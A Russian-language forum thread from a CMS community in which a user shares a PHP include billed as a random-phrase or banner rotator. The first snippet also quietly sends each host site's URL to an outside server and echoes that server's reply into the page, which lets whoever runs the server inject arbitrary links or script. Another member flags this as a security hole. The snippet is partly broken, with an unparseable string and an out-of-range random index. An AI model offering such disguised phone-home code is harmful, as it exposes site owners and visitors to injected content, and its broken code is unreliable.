рнр файл

разные фразы

 
Посетитель
small user social cms
Медаль
Сообщений: 162
Рнр файл выводит случайные фразы, можно анекдоты, а можно и партнёрские ссылки, и что нибудь другое



Код PHP:
  1.  
  2. <?php
  3.  
  4. $dt[0] = 'В жизни всегда есть место пофигу.';
  5. $dt[1] = 'Я человек не злопамятный - сделаю зло и забуду';
  6. $dt[2] = 'Чем выше каблуки, тем меньше нагибаться.';
  7. $dt[3] = 'Деньги - зло. Зайдешь на рынок, и зла не хватает. ';
  8. $dt[4] = 'Опыт - это то, что получаешь, не получив того, что хотел. ';
  9. $dt[5] = 'Случайность - внезапно наступившая неизбежность.';
  10. $dt[6] = 'Лучше вбитый шуруп, чем вкрученный гвоздь.';
  11. $dt[7] = 'Воздух это шаpик, с котоpого содpали кожу... ';
  12.  
  13.  
  14. $site_url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  15. $site_url = str_replace('/', '%2F', $site_url);
  16. $site_url = str_replace('\', '%2F', $site_url);
  17. $site_url = str_replace(':', '%3A', $site_url);
  18.  
  19. $back_url = 'http://www.site.ru/links.php';
  20. $get = '?addr=' . $site_url . '&u=1';
  21. $text1 = '';
  22. $itogo=198;
  23. if( !(strpos('http://site.ru' . $site_url, 'localhost') > 0) )
  24. {
  25. $text1 = @file_get_contents($back_url . $get);
  26. if( !strlen($text1) > 0 ){
  27. $text1 = '';
  28. $text1 = @file_get_contents($back_url);
  29. }
  30. echo $text1;
  31. }
  32.  
  33. srand((double) microtime()*1000000);
  34. $i=rand(0,$itogo);
  35.  
  36. print $dt[$i];
  37.  
  38. ?>
  39.  
  40.  
Читайте подпись: коплю..
Посетитель
no avatar
Сообщений: 23
Россия и блондинки сильнее разума, есть цельный модуль "Случайная фраза", из текстового файла или базы.
Реклама
cms
Посетитель
small user social cms
Медаль
Сообщений: 162
Модуль нельзя воткнуть в конец статьи или блога, или в середину блога. Этот файл через инклюдинг можно воткнуть куда угодно, а модуль нет. Этот модуль может и баннеры выводить в случайном порядке вместо фраз. Разве модуль сможет такое?
Посетитель
small user social cms
Медаль
Сообщений: 162
Если вместо анекдотов воткнуть это
Код PHP:
  1. <a href="Ссылка перехода №1"><img src="Баннер №1"></a>
Можно получить ротатор случайно выбранных баннеров
Посетитель
small user social cms
Медаль
Сообщений: 522
Можно чуть подробней.
Я так понимаю, что файл нодо обозвать и залить в майпхп в инклюдисе. И от туда у же вывадить куда надо. Или не совсем так? Как правильно его вывести?
Посетитель
small user social cms
МедальАвторитет форума
Сообщений: 1012
Кстати про инклюды.
немного невтему
Уже несколько месяцев голову ломаю.
Посетитель
small user social cms
МедальКубок зрительских симпатий
Сообщений: 754
Россия и блондинки сильнее разума:
Рнр файл выводит случайные фразы, можно анекдоты, а можно и партнёрские ссылки, и что нибудь другое
Вот это ЧТОНИБУДЬ ДРУГОЕ, позволит иметь пару дырок в системе.
Интересно услышать обьяснения по поводу не выполнимых условий ?
Код PHP:
  1. if( !(strpos('http://site.ru' . $site_url, 'localhost') > 0) ) {
А также разьяснение о самом смысле передачи данных методом GET , несуществующему файлу links.php ?
Код PHP:
  1. $get = '?addr=' . $site_url . '&u=1';
И узнать о целесообразнности замены символов на ASCII?
Код PHP:
  1. $site_url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  2. $site_url = str_replace('/', '%2F', $site_url);
  3. $site_url = str_replace('\', '%2F', $site_url);
  4. $site_url = str_replace(':', '%3A', $site_url);

Для вывода случайного элемента массива достаточно и этих строк.

Код PHP:
  1. //$dt=массив фраз
  2. $dt[0] = 'Если желаете иметь дырявую ICMS , устанавливайте все что предлагают , не думая!';
  3. $dt[1] = 'Поздравляю! Ваша система будет ломаться всегда и много!';
  4. srand((double) microtime()*1000000);
  5. $i=rand(0,1);//количество ключей массива фраз
  6. print $dt[$i];
Редактировалось: 1 раз (Последний: 30 мая 2013 в 19:40)
Модератор
small user social cms
МедальПочетный донор проектаКубок зрительских симпатийАвторитет форума
Сообщений: 1422
oll,
Код PHP:
  1. //$dt=массив фраз
  2. $dt[] = 'Если вы желаете иметь дырявую ICMS - устанавливайте всё, что предлагают, не думая!';
  3. $dt[] = 'Поздравляю! Ваша система будет ломаться всегда и много!';
  4. echo $dt[rand(0,count($dt))];
ммм?
Нормальный хостинг, сервера быстрые - пользуюсь сам.
Посетитель
small user social cms
Медаль
Сообщений: 162
oll
Несушествующий файл был раньше ссылкой, и если я убирал её, файл переставал работать
Посетитель
small user social cms
Медаль
Сообщений: 162
Ёще какие нибудь варианты есть?
Посетитель
small user social cms
Медаль
Сообщений: 162
nedoriko:
Как вывести инклюд в штмл страницу. При условии что этот штмл будет работать и на локале также прекрасно как и на виртуале?
Заливаете нужный вам файл в сайт/includes/myphp/ , после этого когда создаёте страницу( статью ) втыкаете в нужное вам место файл, можете так же в любую созданную страницу впихнуть. Только вчера поставил денвер, на денвере файл нормально выводится.
рнр файл
Посетитель
small user social cms
Медаль
Сообщений: 162
Можете просто создать модуль состояший из одних файлов. Пример: анонимайзер, модуль находится справа ( расскажи друзьям )
Посетитель
small user social cms
Медаль
Сообщений: 162
Код PHP:
  1. <?php
  2.  
  3. $banners = array ();
  4. $banners[1] = '<a href="Ссылка перехода №1"><img src="Баннер №1"></a>';
  5. $banners[2] = '<a href="Ссылка перехода №2"><img src="Баннер №2"></a>';
  6. $banners[3] = '<a href="Ссылка перехода №3"><img src="Баннер №3"></a>';
  7. echo $banners[array_rand ($banners)];
  8.  
  9. ?>
Можно и так сделать...
Посетитель
small user social cms
МедальАвторитет форума
Сообщений: 1012
Россия и блондинки сильнее разума,
Спасибо. Но я имею ввиду несколько другое.
Некое подобие сборника штмл файлов с необходимой последовательностью. Но чтоб у каждого из сотни-другой файлов установить 1 блок в котором будет отображаться инфа из другого файла. При условии что все это будет работать на любом компе не имеющего подсоединения к интернету. И никаких кмс. Ну типо сборник сказок написать и вывести картинку или текст в нужном месте. Только чтобы при необходимости сменить тот текст. Не пришлось переписывать всю книгу. А поменять всего 1файл.
Чтоб все это можно было храня на флешке запускать в браузере.
Ну както так.
Посетитель
small user social cms
Медаль
Сообщений: 162
Думать надо, интересная идея
В начало страницы
Предыдущая темаСледующая тема Перейти на форум:
Быстрый ответ
Чтобы писать на форуме, зарегистрируйтесь или авторизуйтесь.